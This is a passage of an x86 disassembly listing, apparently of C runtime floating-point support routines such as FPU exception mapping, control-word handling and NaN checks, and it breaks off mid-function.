S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CCA0, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB2A8, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CCA0, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2661402h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C8A0 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C890 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C8A0 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C8A0 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C890 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C890 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB2A8, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB2A8, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C7B8 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C890 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C7BC[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C8B8 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C8B8 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C8C4 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680EF3h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26B039Eh nop test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C534, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C538 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] 